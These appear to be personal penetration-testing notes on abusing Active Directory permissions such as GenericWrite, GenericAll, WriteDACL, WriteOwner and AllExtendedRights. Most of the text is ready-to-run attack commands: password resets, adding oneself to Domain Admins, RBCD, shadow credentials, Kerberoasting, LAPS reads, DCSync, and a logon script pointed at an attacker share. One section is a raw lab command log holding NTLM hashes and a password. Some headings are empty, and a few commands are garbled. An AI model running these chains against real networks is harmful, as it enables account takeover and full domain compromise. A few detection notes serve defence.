Permissions Abuse

DACL & SACL

🔐 Access Control Model in Active Directory

The Access Control Model defines who can access what in the Active Directory environment. It is a security mechanism that governs how subjects (like users or processes) interact with objects (like files, folders, AD objects, or resources) based on security information.

This model is implemented using the following key components:

🧾 1. Access Tokens

An Access Token is created when a user logs in. It represents the security context of the user or process and contains important information that determines what the user/process is allowed to do.

✅ Contents of an Access Token:

• User SID (Security Identifier)

• Group SIDs (all groups the user is a member of)

• Privileges (like the ability to shut down the system or back up files)

• Default DACL (used when the user creates new objects)

🔄 Usage:

Whenever a user tries to access a resource, their access token is compared to the Security Descriptor of the object they are trying to access.

🛡️ 2. Security Descriptors

A Security Descriptor (SD) is a data structure attached to each object in Active Directory (and other securable resources). It defines who owns the object, who can access it, and how that access is audited.

Any object(resource or service) that Windows wants to protect with permissions has a Security Descriptor. Eg:- File system, Registry, Services, Active Directory objects, event logs, printers, etc.

🔍 Key components of a Security Descriptor:

📋 3. DACL (Discretionary Access Control List)

The DACL contains Access Control Entries (ACEs) that define permissions for users or groups.

🧱 Each ACE includes:

• A SID (the user or group)

• A set of permissions (e.g., Read, Write, Modify)

• A flag indicating whether the access is allowed or denied

❗ If there is no DACL, the object is unprotected, and any user can access it.

🔍 4. SACL (System Access Control List)

The SACL is used for auditing access to objects. It specifies which operations on the object should be logged in the Security Event Log.

For example:

• Audit success or failure of access attempts.

• Used by Windows Auditing and Advanced Threat Detection tools.

⚙️ How It All Works Together

1. A user logs in → Windows creates an Access Token.

2. The user tries to access an Active Directory object (like a user account or GPO).

3. Windows checks the Security Descriptor of the object:

   • Compares the user’s Access Token (SIDs + privileges)
   • With the object’s DACL

4. If access is allowed → user can proceed.

5. If the SACL has rules for that type of access → the attempt is logged.

🧠 Example Scenario

A user “Alice” logs into her domain-joined PC. She wants to read a file stored on a shared drive:

• Her Access Token includes her user SID and group memberships like Domain Users.

• The file has a Security Descriptor:

  • Owner: IT Admin
  • DACL: Grants read access to Domain Users
  • SACL: Logs read access by any user

• Result:

  • Alice can read the file (because Domain Users are allowed).
  • The read attempt is audited because of the SACL.

📌 In Summary

🧱 Key Components in the Diagram

✅ Object

This is the resource (e.g., file, folder, AD object) that someone is trying to access.

🛡️ DACL (Discretionary Access Control List)

Attached to the object. It contains Access Control Entries (ACEs) that define who can or cannot access the object and what type of access is allowed or denied.

✅ Subjects

This contains users, groups or process trying to access the object(resource). Above example contains two treads Tread A and Tread B. Each Tread contains certain set of users or groups

🔒 Thread A (Andrew) Tries to Access the Object

When a user from Tread A, lets say Andrew tries to access the object with its access token, he is passed through DACL, ACE 1 matches Andrew directly and says “Access Denied”. Deny takes precedence that means the user will know not be passed further.

1. ❌ Access is Denied, even though Andrew is part of Group A (which is allowed in ACE 2).

Why? Because the Deny ACE appears first and directly targets Andrew.

Thread B (Jane) Tries to Access the Object

1. Jane is not denied explicitly.

2. HE is a member of Group A, and ACE 2 allows write access to Group A.

3. ACE 3 also gives Everyone read/execute. So a member of Group A has all the permissions

4. ✅ Access is Allowed.

⚠️ Key Takeaways from This Image

• Access Tokens represent user identity and groups.

• DACLs contain ACEs that define who can access the object.

• “Deny” entries override “Allow” entries.

• Evaluation stops at the first applicable ACE.

• Order of ACEs in the DACL matters.

Commands:

Get the ACLs associated with the specified object:

Get-DomainObjectAcl -SamAccountName student1 -ResolveGUIDs

The -ResolveGUIDs flag tells PowerView to translate security GUIDs (which represent permissions) into human-readable names.

🛡️ What is an ACL (Access Control List)?

✅ Definition:

An ACL is a list of permissions attached to an object (like a user, group, OU, computer, etc.) that defines who can do what with that object.

🧠 Think of it as:

“This object has a list of rules — and each rule says who can perform which actions.”

There are two types of ACLs:

1. DACL (Discretionary Access Control List)

2. SACL (System Access Control List)

Note:- ACL is part of Security Descriptors

🎟️ What is an ACE (Access Control Entry)?

✅ Definition:

An ACE is a single rule inside an ACL. It defines a specific permission granted (or denied) to a security principal (user, group, computer, etc.).

🧠 Think of it as:

“One entry in the rulebook saying: User Alice can ResetPassword on Object X.”

🧱 ACL vs ACE – Visual Analogy

🧰 In Active Directory:

Every AD object has a Discretionary Access Control List (DACL) that contains multiple ACEs.

🧠 Example (User Object):

Object: User = John.Doe

ACL:

  ACE 1: Group "Domain Admins" → Full Control

  ACE 2: User "Alice" → ResetPassword

  ACE 3: User "Bob" → WriteProperty (ServicePrincipalName)

🔥 Why are ACLs & ACEs Important in Pentesting?

• Attackers can abuse misconfigured ACEs to:
  • 🧑‍💻 Reset another user’s password
  • 🛠️ Change SPNs and perform Kerberoasting
  • 📌 Take ownership of an object
  • 🧬 Replicate domain secrets (DCsync attack)

📍 Common Abuse Scenarios:

🔐 ACE Types You Should Watch For (as an Attacker)

🔚 Summary

Would you like a visual map of an ACL attack path, or a lab-style demo on how to abuse ACEs with PowerView or BloodHound?

ACL

🔐 GenericWrite

📌 1. What is GenericWrite?

The GenericWrite permission in Active Directory allows a user to modify all writable attributes of an object, except for properties that require special permissions such as resetting passwords.

If an attacker gains GenericWrite over a user, they can write to the servicePrincipalNames attribute and immediately initiate a targeted Kerberoasting attack.

Moreover, having GenericWrite over a group enables them to add their account—or one they control—directly to that group, effectively escalating privileges.

Alternatively, if the attacker obtains GenericWrite over a computer object, they can modify the msds-KeyCredentialLink attribute. As a result, they create Shadow Credentials and authenticate as that computer account using Kerberos PKINIT.

GenericWrite = Permission to modify writable attributes of an AD object.

👉 It does NOT give full control, but allows:

• Editing specific attributes (depends on object type)

• Indirect privilege escalation

🎯 2. Prerequisites

⚙️ 3. Conditions for Abuse

🔥 4. Abuse Based on Object Type

👤 A. GenericWrite on USER

🧠 What you can modify

• servicePrincipalName

• userAccountControl

• scriptPath

• msDS-KeyCredentialLink

⚔️ Attack 1: Shadow Credentials (Best Attack)

📌 What it is

Abuse msDS-KeyCredentialLink to add your own authentication key.

⚙️ Steps

Set-DomainObject -Identity victim -Set @{'msDS-KeyCredentialLink'=$value}

🧠 Explanation

• You inject a certificate/key

• AD trusts it for authentication

• No password needed

✅ Result

👉 Full account takeover

⚔️ Attack 2: SPN Manipulation → Kerberoasting

📌 What it is

Add fake SPN → request service ticket → crack password

⚙️ Steps

Set-DomainObject -Identityvictim -Set @{'servicePrincipalName'='fake/service'}

impacket-GetUserSPNs domain.local/user:pass-request

🧠 Explanation

• SPN makes account “service account”

• Kerberos gives encrypted ticket

• Offline cracking possible

✅ Result

👉 Recover plaintext password

⚔️ Attack 3: AS-REP Roasting

📌 What it is

Disable pre-authentication requirement

⚙️ Steps

Set-DomainObject -Identity victim -XOR @{'userAccountControl'=4194304}

impacket-GetNPUsers domain.local/-no-pass

🧠 Explanation

• Removes Kerberos pre-auth

• DC sends encrypted response

✅ Result

👉 Crackable hash

⚔️ Attack 4: Logon Script Injection

📌 What it is

Set malicious script path

⚙️ Steps

Set-DomainObject -Identity victim-Set @{'scriptPath'='\\attacker\share\evil.ps1'}

🧠 Explanation

• Script runs when user logs in

✅ Result

👉 Code execution as victim

⚠️ Password Reset?

❌ Not directly possible (in most cases)

👥 B. GenericWrite on GROUP

🧠 What you can modify

• member attribute (group membership)

⚔️ Attack: Add Yourself to Group

⚙️ Steps

Add-DomainGroupMember -Identity "Domain Admins" -Members attacker

🧠 Explanation

• You modify group membership

• No approval needed

✅ Result

🔥 Attack Flow

GenericWrite on Group

        ↓

Add yourself

        ↓

Inherit group privileges

        ↓

Privilege escalation

💻 C. GenericWrite on COMPUTER

🧠 What you can modify

• msDS-AllowedToActOnBehalfOfOtherIdentity

• servicePrincipalName

⚔️ Attack 1: RBCD (Most Important)

📌 What it is

Resource-Based Constrained Delegation

⚙️ Steps

Set-DomainObject-IdentityTARGET$-Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}

🧠 Explanation

1. You allow your machine to act on behalf of users

2. Use Kerberos delegation

3. Impersonate Administrator

✅ Result

👉 SYSTEM / Domain Admin access

⚔️ Attack 2: SPN Abuse

⚙️ Steps

Set-DomainObject -Identity computer$ -Set @{'servicePrincipalName'='fake/service'}

🧠 Explanation

Same as user SPN abuse

✅ Result

👉 Extract machine hash

🔐 5. GenericWrite on OU (Requested)

📌 What is it?

GenericWrite on OU = You can modify attributes of OU

👉 But:

• You cannot directly control users

• You must abuse inheritance / permissions

🎯 Goal

👉 Gain control over objects inside OU (users / groups)

⚙️ Abuse Method: Grant Yourself Rights on OU

⚔️ Step 1 — Modify OU ACL

Add-DomainObjectAcl -TargetIdentity "OU=IT,DC=domain,DC=local" -PrincipalIdentity attacker -RightsAll

🧠 What this does

👉 You are:

Giving yourself FullControl on the OU

        ↓

Permissions will be inherited by child objects (if inheritance applies)

⚠️ Important Condition

✔ Works only if:

• Inheritance is enabled

• Objects inherit permissions from OU

⚔️ Step 2 — Abuse Child Objects

Now you can:

Reset user passwords

Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

Add yourself to groups

Add-DomainGroupMember -Identity "Admins" -Members attacker

🔥 Full Attack Flow

GenericWrite on OU

        ↓

Modify OU ACL (give yourself control)

        ↓

Permissions propagate to users/groups

        ↓

Control child objects

        ↓

Privilege escalation

📊 5. Summary Table

🚨 6. Risks / Impact

🪵 7. Logs & Detection

💡 8. Key Takeaway

👉 GenericWrite = Attribute abuse, not direct control

NTML Relay Attack + RBCD ( Linux PoC )

**#WEB01 - 10.129.1.166** 

clocksync 10.129.1.166 -c "netexec ldap 10.129.1.166 -u ms01$ -p ms01 -M maq -k"

clocksync 10.129.1.217 -c "evil-winrm -i 192.168.100.2 -u gMSA_ADFS_prod$ -H fd9ea7ac7820dba5155bd6ed2d850c09"

gMSA_ADFS_prod$ : fd9ea7ac7820dba5155bd6ed2d850c09

python3 Coercer.py coerce -l 10.10.16.60 -t 192.168.100.2 -d pirate.htb -u 'gMSA_ADFS_prod$' --hashes ':fd9ea7ac7820dba5155bd6ed2d850c09' --always-continue

impacket-ntlmrelayx \

-t ldaps://10.129.1.217 \

--delegate-access \

--no-da -smb2support \

--remove-mic \

--debug 

clocksync 10.129.1.217 -c "nxc ldap 10.129.1.217 -u ms01$ -p ms01 --computers -k" 

clocksync 10.129.1.217 -c 'impacket-getST pirate.htb/SWJFVMVD$:jD3U@VgYfz+Wj}> -spn cifs/WEB01.pirate.htb -impersonate Administrator -dc-ip 10.129.1.217'

clocksync 10.129.1.172 -c 'impacket-getST pirate.htb/SWJFVMVD$:jD3U@VgYfz+Wj}> -spn HTTP/WEB01.pirate.htb -impersonate Administrator -dc-ip 10.129.1.172'

export KRB5CCNAME=Administrator@HTTP_WEB01.pirate.htb@PIRATE.HTB.ccache

env | grep KRB  

clocksync 10.129.1.172 -c "evil-winrm -i WEB01.pirate.htb -r PIRATE.HTB"

Generic All

📌 1. What is GenericAll?

GenericAll = Full control over an AD object

👉 You can:

• Read all attributes

• Modify all attributes

• Change permissions (ACL)

• Perform sensitive operations (like password reset)

🎯 2. Prerequisites

⚙️ 3. Conditions for Abuse

🔥 4. Abuse Based on Object Type

👤 A. GenericAll on USER

🧠 What you control

👉 Everything:

• Password

• SPNs

• UAC flags

• ACLs

• Authentication methods

⚔️ Attack 1: Reset Password (MOST DIRECT)

⚙️ Steps

Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!"-AsPlainText-Force)

🧠 Explanation

• GenericAll includes ResetPassword

• No old password required

✅ Result

👉 Instant account takeover

⚔️ Attack 2: Shadow Credentials (Best Attack)

📌 What it is

Abuse msDS-KeyCredentialLink to add your own authentication key.

⚙️ Steps

Set-DomainObject -Identity victim -Set @{'msDS-KeyCredentialLink'=$value}

🧠 Explanation

• You inject a certificate/key

• AD trusts it for authentication

• No password needed

✅ Result

👉 Full account takeover

⚔️ Attack 3: SPN Manipulation → Kerberoasting

📌 What it is

Add fake SPN → request service ticket → crack password

⚙️ Steps

Set-DomainObject -Identityvictim -Set @{'servicePrincipalName'='fake/service'}

impacket-GetUserSPNs domain.local/user:pass-request

🧠 Explanation

• SPN makes account “service account”

• Kerberos gives encrypted ticket

• Offline cracking possible

✅ Result

👉 Recover plaintext password

⚔️ Attack 4: AS-REP Roasting

📌 What it is

Disable pre-authentication requirement

⚙️ Steps

Set-DomainObject -Identity victim -XOR @{'userAccountControl'=4194304}

impacket-GetNPUsers domain.local/-no-pass

🧠 Explanation

• Removes Kerberos pre-auth

• DC sends encrypted response

✅ Result

👉 Crackable hash

⚔️ Attack 5: Grant Yourself More Rights

Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -RightsAll

✅ Result

👉 Persistence / stealth control

👥 B. GenericAll on GROUP

🧠 What you control

• Membership

• Group permissions

• Attributes

⚔️ Attack 1: Add Yourself to Group

Add-DomainGroupMember -Identity "Domain Admins" -Members attacker

🧠 Explanation

• Full control → modify member attribute

✅ Result

💻 C. GenericAll on COMPUTER

⚔️ Attack 1: RBCD (Most Powerful)

Set-DomainObject -Identity TARGET$ -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}

🧠 Explanation

• Allow your machine to impersonate users

✅ Result

👉 SYSTEM / Domain Admin access

⚔️ Attack 2: Reset Machine Password

net user TARGET$ NewPass123!/domain

✅ Result

👉 Control computer account

⚔️ Attack 3: SPN Abuse

Set-DomainObject -Identity TARGET$ -Set @{'servicePrincipalName'='fake/service'}

✅ Result

👉 Kerberoasting

⚔️ 4. Abuse Path 2: LAPS Abuse (VERY IMPORTANT)

🧠 What is LAPS?

LAPS = Local Administrator Password Solution

• Stores local admin password in AD attribute:

ms-Mcs-AdmPwd

🔐 Normally

• Only privileged users can read it

🔥 With GenericAll

👉 You can:

• Grant yourself permission to read LAPS password

⚙️ Step 1: Give yourself read access

Add-DomainObjectAcl -TargetIdentity TARGET$ -PrincipalIdentity attacker -RightsAll

⚙️ Step 2: Read LAPS password

Get-DomainComputer TARGET$ -Propertie sms-Mcs-AdmPwd

Name              : TARGET

ms-Mcs-AdmPwd     : P@ssw0rd123!

💥 Impact

You now have:

Local Administrator credentials on TARGET machine

⚔️ Step 3: Use it

psexec \\TARGET -u Administrator -p P@ssw0rd123! cmd.exe

NT AUTHORITY\SYSTEM shell

🔥 Why LAPS Abuse is Powerful

GenericAll → Read LAPS → Local Admin → SYSTEM → Credential Dump

🗂️ D. GenericAll on OU (VERY IMPORTANT — FINAL VERSION)

🧠 What you control

👉 If you have GenericAll on an OU, you control:

The OU object itself (FULL CONTROL)

👉 Since an OU is a container, it holds:

• Users

• Groups

• Computers

🔥 Core Logic (MOST IMPORTANT)

OU = container

Objects inside OU = child objects

Permissions on OU

        ↓ (inheritance)

Flow to child objects

👉 So:

GenericAll on OU

        ↓

You can push permissions to all child objects

        ↓

You gain control over those objects

⚔️ Attack (Proper Flow)

🔹 Step 1 — You already have GenericAll on OU

Attacker has full control over OU=IT

👉 This allows you to:

• Modify permissions (ACL)

• Control how access is inherited

🔹 Step 2 — Ensure control over child objects

Add-DomainObjectAcl -TargetIdentity "OU=IT,DC=domain,DC=local" -PrincipalIdentityattacker -RightsAll

🧠 What this does (CRITICAL)

Adds an ACL entry on the OU

        ↓

Marked as inheritable

        ↓

Applies to child objects (users/groups/computers)

👉 Result:

Attacker now has rights ON child objects

🔹 Step 3 — Abuse child objects

Now you can directly interact with objects inside OU:

✔ Reset user passwords

Set-DomainUserPassword -Identity user1 -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

✔ Add yourself to privileged groups

Add-DomainGroupMember -Identity "Admins"-Members attacker

✔ Modify user attributes (SPN / persistence)

Set-DomainObject-Identityuser1-Set @{'servicePrincipalName'='fake/service'}

✔ Abuse computers (RBCD)

Set-DomainObject -Identity COMPUTER$ -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}

📊 Result

GenericAll on OU

        ↓

Control over OU ACL

        ↓

Permissions inherited by child objects

        ↓

Control users / groups / computers

        ↓

Mass compromise

⚠️ Important Conditions (Real World)

📊 5. Summary Table

🚨 6. Risks / Impact

🪵 7. Logs & Detection

💡 8. Key Takeaway

👉 GenericAll = Full control = Multiple attack paths

🔐 Force Password Change Abuse (AD)

📌 1. What is it?

Force Password Change = Ability to reset another user’s password without knowing the current password.

👉 This is controlled by the AD permission:

• ResetPassword

• Often comes via:

  • GenericAll
  • GenericWrite
  • AllExtendedRights

🎯 2. Prerequisites

⚙️ 3. Conditions for Abuse

🔥 4. Ways to Abuse

🧪 Method 1: PowerView

Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

✔ What happens:

• Password is directly changed

• No old password required

🧪 Method 2: net user (Windows)

net user victim NewP@ss123! /domain

✔ Simple built-in method

✔ Works if permissions allow

🧪 Method 3: BloodyAD (Linux)

bloodyAD --host DC_IP -d domain.local -u attacker -p passset password victim NewP@ss123!

✔ Very common in labs

✔ Uses LDAP

🧪 Method 4: Impacket (rpcclient / smbpasswd)

rpcclient -U domain/attacker%pass DC_IP

set userinfo2 victim23 NewP@ss123!

✔ Uses SAMR protocol

🧪 Method 5: CrackMapExec

crackmapexec smb DC_IP -u attacker -p pass -M pwdreset -o USER=victim PASS=NewP@ss123!

🔐 1. ResetPassword (Direct Right)

🧠 What you have

You directly have the Reset Password extended right on a user.

⚔️ Abuse

PowerView

Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

Linux (rpcclient)

rpcclient -U domain/attacker%pass DC_IP

set userinfo2 victim23 NewP@ss123!

⚙️ What happens internally

• Uses SAMR / LDAP password reset operation

• No old password required

✅ Result

👉 Instant account takeover

🔐 2. GenericAll (Full Control)

🧠 What you have

Full control over user object

⚔️ Abuse

Same as above (because it includes ResetPassword):

Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

⚙️ Internally

• You already have all rights

• No need to modify ACL

✅ Result

👉 Direct password reset

🔐 3. AllExtendedRights

🧠 What you have

All extended rights → includes ResetPassword

⚔️ Abuse

bloodyAD --host DC_IP -d domain.local -u attacker-p passset password victim NewP@ss123!

⚙️ Internally

• Extended rights include:
  • ResetPassword
  • ChangePassword
  • Others

✅ Result

👉 Works same as GenericAll for this case

🔐 4. GenericWrite (⚠️ Tricky Case)

🧠 What you have

Write access to attributes (NOT full control)

⚠️ Important

You usually CANNOT directly reset password

⚔️ Possible Abuse Paths

🧪 Case 1: Target allows password write (rare)

Some environments allow writing:

Set-ADAccountPassword -Identityvictim -Reset-NewPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

✔ Might work

❌ Often fails due to missing extended right

⚙️ Internally

• You’re modifying attributes, NOT performing reset operation

✅ Result

👉 Sometimes → indirect takeover

👉 Not reliable for password reset

🔐 5. WriteDACL (VERY POWERFUL)

🧠 What you have

Ability to modify permissions (ACL) of user

⚔️ Abuse Flow

Step 1 — Give yourself ResetPassword

Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -RightsResetPassword

Step 2 — Reset password

Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

⚙️ Internally

1. Modify DACL → grant yourself rights

2. Use those rights

✅ Result

👉 Full takeover (2-step attack)

🔐 6. WriteOwner

🧠 What you have

Ability to change owner of object

⚔️ Abuse Flow

Step 1 — Take ownership

Set-DomainObjectOwner -Identity victim -OwnerIdentity attacker

Step 2 — Modify DACL

Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -RightsResetPassword

Step 3 — Reset password

Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

⚙️ Internally

Ownership → allows modifying permissions → grant yourself rights

✅ Result

👉 Full takeover (3-step chain)

🧠 Final Truth Table

🧠 What you gain

⚠️ 5. Important Notes (VERY IMPORTANT)

🔴 This is NOT password cracking

• No brute force

• No hash needed

• Direct overwrite

🔴 Kerberos impact

• Old tickets become invalid

• New authentication required

📊 6. Logs & Detection

🪵 Windows Event Logs

📍 Example Log

Event ID: 4724

Subject: attacker_user

Target: victim_user

Action: Password Reset

🔍 Detection Clues

• Sudden password reset for privileged user

• Reset followed by login from different host

• Unusual admin account activity

🚨 7. Risks / Impact

🛡️ 8. Defensive Measures

Write DACL

🧠 1. What is WriteDACL (Core Concept)

🔐 DACL Basics

• Every AD object (user, group, computer, OU, domain) has a DACL (Discretionary Access Control List)

• DACL = list of ACEs (Access Control Entries)

• ACE = who has what permission on this object

🔥 What WriteDACL Means

WriteDACL = Ability to modify permissions of an object

• You can:
  • Add new ACEs
  • Modify existing ACEs
  • Grant yourself any permission

👉 This is why it’s dangerous:

With WriteDACL → you can give yourself full control (GenericAll) or any specific right

⚠️ Core Idea (Very Important)

👉 WriteDACL is NOT direct control

👉 It is permission escalation primitive

WriteDACL → Modify ACL → Give yourself stronger rights → Abuse those rights

🎯 2. Conditions Required for Abuse

✅ Required Conditions

1. You control a principal (user/computer)

• Your account OR compromised account

2. That principal has WriteDACL on target object

Example:

User A → WriteDACL → User B

3. Target object is valuable OR chainable

• High privilege user

• Privileged group

• Computer (for delegation attacks)

• OU / Domain (mass impact)

🧠 Key Understanding

From theory:

If object B has rights over object A → controlling B = controlling A

⚔️ 3. Abuse Logic (Universal Flow)

Same for ALL objects:

Step 1: You have WriteDACL

Step 2: Modify DACL

Step 3: Grant yourself:

• GenericAll (full control) OR

• Specific rights (ForceChangePassword, AddMember, DCSync etc.)

Step 4: Abuse newly gained privilege

🧩 4. Object-wise Abuse Breakdown

👤 A. WriteDACL on USER

🔐 What you control

• Permissions of user object

⚔️ What you do

You grant yourself:

• GenericAll OR

• ForceChangePassword OR

• AllExtendedRights

💥 Abuse Outcomes

1. Reset password (no creds needed)

• Take over account

2. Kerberoasting

• Add SPN → extract ticket → crack

3. Full takeover

• Modify attributes

• Persistence

🧠 Summary

WriteDACL → GenericAll → User takeover → Lateral movement

👥 B. WriteDACL on GROUP

🔐 What you control

• Membership control of group

⚔️ What you do

Grant yourself:

• WriteMembers

💥 Abuse Outcomes

1. Add yourself to group

• If group = Domain Admins → instant DA

🧠 Summary

WriteDACL → AddMember → Privileged group → Privilege escalation

💻 C. WriteDACL on COMPUTER

🔐 What you control

• Computer object permissions

⚔️ What you do

Grant yourself:

• GenericAll

💥 Abuse Outcomes

1. RBCD (Resource-Based Constrained Delegation)

• Impersonate users → SYSTEM access

2. Modify SPNs

• Kerberos abuse

3. Take machine control

• Pivot to domain

🧠 Summary

WriteDACL → GenericAll → RBCD → SYSTEM → Domain pivot

🏢 D. WriteDACL on OU (Organizational Unit)

🔐 What you control

• All objects inside OU (inherited permissions)

⚔️ What you do

Grant yourself:

• GenericAll on OU (inheritable)

💥 Abuse Outcomes

1. Control all users in OU

• Reset passwords

• Add SPNs

2. Control all computers

• RBCD attacks

3. Massive lateral movement

🧠 Key Insight

👉 OU = multi-object attack surface

WriteDACL → Inheritance → Control multiple objects → Scale attack

🌐 E. WriteDACL on DOMAIN (MOST CRITICAL)

🔐 What you control

• Entire domain ACL

⚔️ What you do

Grant yourself:

• DCSync rights:
  • DS-Replication-Get-Changes
  • DS-Replication-Get-Changes-All

💥 Abuse Outcomes

🔥 DCSync Attack

• Dump password hashes of:
  • Domain Admins
  • KRBTGT
• Full domain compromise

🧠 Summary

WriteDACL → Add DCSync rights → Dump hashes → Full domain takeover

⚠️ 5. Why WriteDACL is EXTREMELY Dangerous

• Works on ANY object

• Fully stealthy compared to exploits

• Doesn’t require admin initially

• Enables:

  • Privilege escalation
  • Lateral movement
  • Persistence

👉 It’s a meta-permission (controls other permissions)

🚨 6. Detection & Alerts (Very Important)

🔍 What to Monitor

1. ACL Changes

• Attribute:

  nTSecurityDescriptor

• Any change = suspicious

2. WriteDACL Usage Events

• Windows Event IDs:
  • 4662 → Object permission change
  • 5136 → Directory object modified

3. Suspicious Patterns

• New ACE granting:
  • GenericAll
  • WriteDACL
  • DCSync rights

🧠 FINAL MENTAL MODEL (IMPORTANT)

Think like this:

WriteDACL = Permission Editor Access

If you can edit permissions →

    You can give yourself power →

        You become owner/control entity

🔥 Quick Comparison Table

All Extended Rights

📌 1. Definition

AllExtendedRights in Active Directory:

👉 Grants permission to perform all extended (special) operations on an object.

🧠 Extended Rights = Special Actions

Not full control, but powerful operations like:

• Reset password

• Replication (DCSync)

• Delegation-related actions

• Authentication permissions

🔥 Core Idea

AllExtendedRights = Perform critical privileged actions WITHOUT full write access

⚠️ 2. Conditions for Abuse

✅ General Conditions

• You must have AllExtendedRights on the target object

• Network access to Domain Controller

• Target object not blocking required operation (edge cases)

⚠️ Special Conditions (Important)

👤 USER Object

🎯 What you can do

👉 Reset password

⚔️ Attack Flow

AllExtendedRights → Reset Password → Account Takeover

💻 Command

Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

💥 Impact

• Full user access

• Privilege escalation (if privileged user)

💻 COMPUTER Object

🎯 What you can do

👉 Read Laps Password

You may read the LAPS password of the computer object. For more information about that, see the ReadLAPSPassword edge section.

👉 RBCD (Resource-Based Constrained Delegation)

⚔️ Attack Flow

AllExtendedRights → Set msDS-AllowedToActOnBehalfOfOtherIdentity → RBCD → SYSTEM

💻 Command

Set-DomainObject -Identity TARGET$ -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}

💥 Impact

• SYSTEM access on target machine

• Lateral movement

🌐 DOMAIN Object

🧠 What is a “Domain Object”?

In Active Directory:

👉 A domain object refers to the root object of the domain itself, not users, computers, or OUs.

📌 Example

For a domain:

domain.local

The domain object is:

DC=domain,DC=local

🧩 Think of AD hierarchy like this:

DC=domain,DC=local        ← 🌐 DOMAIN OBJECT (this is what we mean)

│

├── OU=IT

│    ├── user1

│    └── computer1

│

├── OU=HR

│    └── user2

🔥 Key Understanding

🎯 What you can do

👉 DCSync attack

🎯 What you want to see

attacker ──AllExtendedRights──▶ domain.local

⚔️ Attack Flow

AllExtendedRights → Replication Rights → DCSync → Dump hashes → Domain Compromise

💻 Command (Mimikatz)

lsadump::dcsync/domain:domain.local/user:Administrator

💥 Impact

• Dump NTLM hashes of all users

• Full domain compromise

Write Owner

📌 1. Definition

WriteOwner in Active Directory allows you to:

👉 Change the owner of an object (user, group, computer, OU)

🧠 Why ownership matters

In AD:

Owner → has implicit right to modify ACL (DACL)

👉 Even if you don’t have GenericAll, as owner you can:

• Modify permissions

• Grant yourself full control

🔥 Core Idea

WriteOwner → Take Ownership → Modify ACL → Full Control → Abuse

⚔️ 2. Abuse Flow (Generic)

Step 1 — Take ownership

Set-DomainObjectOwner -Identity TARGET -OwnerIdentity attacker

Step 2 — Grant yourself full control

Add-DomainObjectAcl -TargetIdentity TARGET -PrincipalIdentity attacker -RightsAll

Step 3 — Abuse based on object type

🧩 3. WriteOwner on USER

📌 What you get

After abuse:

• Reset password

• Add SPN (Kerberoasting)

• Shadow credentials

• Account takeover

⚔️ Example Attack

Step 1 — Take ownership

Set-DomainObjectOwner -Identity TARGET -OwnerIdentity attacker

Step 2 — Full control

Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -RightsAll

Step 3 — Reset password

Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "P@ss123!" -AsPlainText-Force)

🎯 Result

👉 Full account takeover

✅ Conditions

• WriteOwner on user

• Target not protected (or still modifiable)

• You can reach DC

💻 4. WriteOwner on COMPUTER

📌 What you get

After abuse:

• Modify attributes

• Set delegation (RBCD)

• Control machine account

⚔️ Example Attack (RBCD path)

Step 1 — Take ownership

Set-DomainObjectOwner -Identity TARGET -OwnerIdentity attacker

Step 2 — Full control

Add-DomainObjectAcl -TargetIdentity TARGET$ -PrincipalIdentity attacker -RightsAll

Step 3 — Set RBCD

Set-DomainObject-IdentityTARGET$-Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}

🎯 Result

👉 SYSTEM access on target machine

✅ Conditions

• WriteOwner on computer

• Ability to create/control attacker machine (SPN)

• Kerberos abuse possible

👥 5. WriteOwner on GROUP

📌 What you get

• Add members to group

• Full control over group

⚔️ Example Attack

Step 1 — Take ownership

Set-DomainObjectOwner -Identity TARGET -OwnerIdentity attacker

Step 2 — Full control

Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity attacker -RightsAll

Step 3 — Add yourself

Add-DomainGroupMember -Identity "Domain Admins" -Members attacker

🎯 Result

👉 Domain Admin access

⚠️ Note

• High-value target

• Likely monitored

✅ Conditions

• WriteOwner on group

• Group not protected OR ACL still modifiable

🏢 6. WriteOwner on OU

📌 What you get

• Control over OU ACL

• Ability to push permissions to child objects

⚔️ Example Attack

Step 1 — Take ownership

Set-DomainObjectOwner -Identity "OU=IT,DC=domain,DC=local"-OwnerIdentityattacker

Step 2 — Full control

Add-DomainObjectAcl-TargetIdentity"OU=IT,DC=domain,DC=local"-PrincipalIdentityattacker-RightsAll

Step 3 — Push inherited control

Add-DomainObjectAcl `

-TargetIdentity"OU=IT,DC=domain,DC=local" `

-PrincipalIdentityattacker `

-RightsAll `

-InheritanceTypeDescendents `

-TargetTypeUser

🎯 Result

👉 Control over:

• Users

• Computers inside OU

💥 Follow-up attacks

• Reset passwords

• RBCD on computers

• Group abuse

✅ Conditions

• WriteOwner on OU

• Inheritance enabled on child objects

🔥 7. Summary Table

🧠 8. Key Differences vs GenericAll

🧠 9. One-line Takeaway

👉 WriteOwner is a privilege escalation primitive — not direct control, but a stepping stone to full compromise.

OU Abuse

INHERITANCE CHAIN:

┌──────────────────────────────────────────────────────────────┐

│ EXPLICIT PERMISSIONS ON OU                                  │

│ (What you directly assign to OU)                            │

└──────────────────┬───────────────────────────────────────────┘

                   │
